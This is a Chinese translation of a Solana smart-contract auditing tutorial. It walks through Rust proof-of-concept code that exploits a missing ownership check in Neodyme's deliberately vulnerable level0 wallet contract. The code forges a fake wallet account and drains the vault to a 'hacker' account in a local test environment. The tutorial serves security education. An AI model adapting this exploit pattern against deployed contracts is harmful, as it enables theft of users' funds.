本文介绍了如何审计Solana智能合约中的漏洞,重点是使用渗透测试工具检测Rust程序的安全性。详细说明了Solana PoC框架、fuzz测试工具及代码覆盖率工具的使用,通过具体实例展示了如何利用已知漏洞构建PoC进行攻击,以及进行正常用户交互的步骤,帮助读者理解智能合约的安全评估。
在本文中,我们介绍了一些渗透测试工具,以帮助检测 Solana 或 Rust 程序中的漏洞。
poc-framework 提供了一种方便的方式,在本地环境中模拟交易。为了说明其用法,我们将使用 Neodyme 提供的示例 在 Github 上。
level0 合约中的 withdraw 函数有一个已知的漏洞
我们首先运行 x-ray -analyzeAll . 来获取潜在漏洞的列表,然后使用 poc-framework 来构造漏洞利用工具。特别是,X-Ray 报告了以下问题:
漏洞:X-Ray 报告的 level0 中的不可信钱包账户
事实上,这是 level0 合约中一个已知的漏洞(第 104 行缺少所有权检查)。在接下来的三个步骤中,我们将构造一个 PoC 来利用这个漏洞。
要开发 PoC,第一步是设置合同状态,这通常包括在区块链上部署合同、创建必要的合同账户,并调用交易以初始化合同状态。
更具体地说,要调用初始化函数(第 21 行),我们需要准备三个参数:program_id、accounts 和 instruction_data。program_id 是显而易见的:它是已部署合约的公钥。
然而,其他两个参数必须有适当的数据内容,以满足初始化函数中的条件(第 27 行)。
为了达到我们的目标,有三个步骤:
1. 使用 poc_framework 创建三个账户:一个用于权限,一个用户,一个黑客:
let authority = poc_framework::keypair(0);
let user = poc_framework::keypair(1);
let hacker = poc_framework::keypair(2);
let authority_address = authority.pubkey();
let user_address = user.pubkey();
let hacker_address = hacker.pubkey();
2. 使用 poc_framework 本地环境部署合约(level0.so),并添加上述三个账户,每个账户初始化为 1.0 sol:
let path = "./target/deploy/level0.so";
let wallet_program = Pubkey::from_str("W4113t3333333333333333333333333333333333333").unwrap();
let amount_1sol = sol_to_lamports(1.0);
let mut env = poc_framework::LocalEnvironment::builder()
.add_program(wallet_program, path)
.add_account_with_lamports(authority_address, system_program::id(), amount_1sol)
.add_account_with_lamports(user_address, system_program::id(), amount_1sol)
.add_account_with_lamports(hacker_address, system_program::id(), amount_1sol)
.build();
3. 构造一个带有三个参数的指令,然后在 poc_framework 本地环境中执行交易:
env.execute_as_transaction(&[Instruction {\
program_id: wallet_program,\
accounts: vec![\
AccountMeta::new(wallet_address, false),\
AccountMeta::new(vault_address, false),\
AccountMeta::new(authority_address, true),\
AccountMeta::new_readonly(sysvar::rent::id(), false),\
AccountMeta::new_readonly(system_program::id(), false),\
],\
data: WalletInstruction::Initialize.try_to_vec().unwrap(),\
}], &[&authority]).print();
注意 wallet_address 和 vault_address 是通过 Pubkey::find_program_address(第 33–38 行)构造的 PDA:
let (wallet_address, _) = Pubkey::find_program_address(&[&authority_address.to_bytes()],
&wallet_program);
let (vault_address, _) = Pubkey::find_program_address(&[&authority_address.to_bytes(),\
&"VAULT".as_bytes()],
&wallet_program);
现在第一步完成。这一步通常由具有某些权限的合约所有者执行,对于 PoC,我们假设这一切都正确完成。
运行代码将生成以下日志:
此时,vault 账户几乎没有资金(除去 0.00089088 sol 的免租金费用)。在第二步中,我们将创建一个交易以调用存款函数,将资金转移到 vault 账户。此步骤可以概括为模拟任何正常用户与合同的交互。
在上述存款函数中,accounts 向量包括四个账户:wallet、vault、source(用于转账的用户账户)和 system_program(由 system_instruction::transfer 第 95 行使用)。
转账金额是传递给 WalletInstruction::Deposit {amount} 的参数。
然后,我们可以用这些参数构造一个指令,再次使用 poc_framework 执行一个交易:
env.execute_as_transaction(&[Instruction {\
program_id: wallet_program,\
accounts: vec![\
AccountMeta::new(wallet_address, false),\
AccountMeta::new(vault_address, false),\
AccountMeta::new(user_address, true),\
AccountMeta::new_readonly(system_program::id(), false)\
],\
data: WalletInstruction::Deposit {\
amount: amount_1sol}.try_to_vec().unwrap()\
}],&[&user]).print();
现在,第二步完成。运行代码将生成以下日志。注意 vault 账户现在有 1.00089088 sol。我们刚刚成功转移 1 sol。
最后,我们即将完成漏洞利用,创建一个指令来模拟黑客的行为。在这种情况下,目标是调用 withdraw 函数,将资金从 vault 账户转移到黑客账户。
根据 X-Ray 报告,回忆一下钱包账户是不可信的(第 104 行)。这意味着黑客可能创建一个假钱包账户以调用 withdraw 函数。要成功盗取资金(第 119 行),假钱包账户和其他输入必须满足以下条件:
1. wallet.authority 字段必须与 authority_info 账户密钥相同(由 assert_eq! 第 111 行强制执行):
assert_eq!(wallet.authority, *authority_info.key)
2. wallet.vault 字段必须与 vault 账户密钥相同(由 assert_eq! 第 112 行强制执行):
assert_eq!(wallet.vault, *vault_info.key);
3. withdraw amount 不能大于 vault 账户内的资金:
if amount > **vault_info.lamports.borrow_mut()
4. 此外,必须签署权限账户(由 assert! 第 110 行强制执行):
assert!(authority_info.is_signer)
为了满足这个条件,黑客也可以提供一个假权威账户,例如,使用他们自己的黑客账户并签署交易。
考虑到所有这些约束,我们可以构造一个虚假的钱包账户,以黑客地址作为假权限字段:
let hack_wallet = Wallet {
authority: hacker_address,
vault: vault_address
};
let mut hack_wallet_data: Vec<u8> = vec![];
hack_wallet.serialize(&mut hack_wallet_data).unwrap();
我们使用 poc_framework 在 LocalEnvironment 中创建一个假钱包账户:
let fake_wallet = poc_framework::keypair(4);
let fake_wallet_address = fake_wallet.pubkey();
env.create_account_with_data(&fake_wallet, hack_wallet_data);
然后,我们可以创建一个交易以调用 withdraw 指令:
env.execute_as_transaction(&[Instruction {\
program_id: wallet_program,\
accounts: vec![\
AccountMeta::new(fake_wallet_address, false),\
AccountMeta::new(vault_address, false),\
AccountMeta::new(hacker_address, true),\
AccountMeta::new(hacker_address, false)\
],\
data: WalletInstruction::Withdraw {\
amount: amount_to_steal }.try_to_vec().unwrap(),\
}], &[&hacker]).print();
在上述代码中,amount_to_steal 可以设置为 vault 中的资金:
let amount_to_steal = env.get_account(vault_address).unwrap().lamports;
将上述所有内容整合在一起,我们已经成功创建了一个 PoC 来利用这个漏洞。运行代码将产生以下日志。注意 vault 账户现在为空,而黑客现在拥有 2.00089088 sol。
在接下来的几篇文章中,我们将继续介绍用于 Solana 智能合约的审计技能,包括 [Anchor]https://learnblockchain.cn/docs/anchor) 开发框架。
如何审核Solana智能合约系列?
- 原文链接: sec3.dev/blog/how-to-aud...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!